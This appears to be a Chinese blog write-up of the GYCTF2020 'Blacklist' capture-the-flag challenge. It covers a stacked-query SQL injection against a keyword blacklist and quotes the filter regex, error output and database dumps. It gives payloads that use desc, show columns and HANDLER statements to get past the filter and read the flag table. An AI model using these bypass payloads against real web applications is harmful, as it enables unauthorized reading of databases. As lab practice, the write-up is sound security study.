

# [GYCTF2020]Blacklist

原创

[VVeaker](#) 于 2022-01-12 16:41:44 发布 129 收藏

分类专栏: [WP](#) 文章标签: [php](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/u011250160/article/details/122452918>

版权



[WP 专栏收录该内容](#)

32 篇文章 0 订阅

订阅专栏

这道题基本上和[强网杯一道题](#)一样

测试出过滤规则:

```
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\.\/i",$inject);
```

## Black list is so weak for you, isn't it

姿势:

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' at line 1

分析报错

“1”

先去掉最外面一层引号,也就是报错提示的引号

‘1’

可以看到1后面两个引号,说明原本的代码就是'1',即字符型

## Black list is so weak for you, isn't it

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

```
array(1) {
  [0]=>
  string(11) "ctftraining"
}
```

```
array(1) {
  [0]=>
  string(18) "information_schema"
}
```

```
array(1) {
  [0]=>
```

```
string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}
```

CSDN @VWeaker

## Black list is so weak for you, isn't it

姿势:

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
```

---

```
array(1) {
  [0]=>
  string(8) "FlagHere"
}
```

```
array(1) {
  [0]=>
  string(5) "words"
}
```

CSDN @VWeaker

绕过限制查询列

注意包裹**FlagHere**的并不是单引号而是反引号

payload1:

```
1';desc `FlagHere`;
```

payload2:

```
1';show columns from `FlagHere`;
```

```
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

绕过过滤,查询数据

```
1';handler `FlagHere` open;handler `FlagHere` read first;
```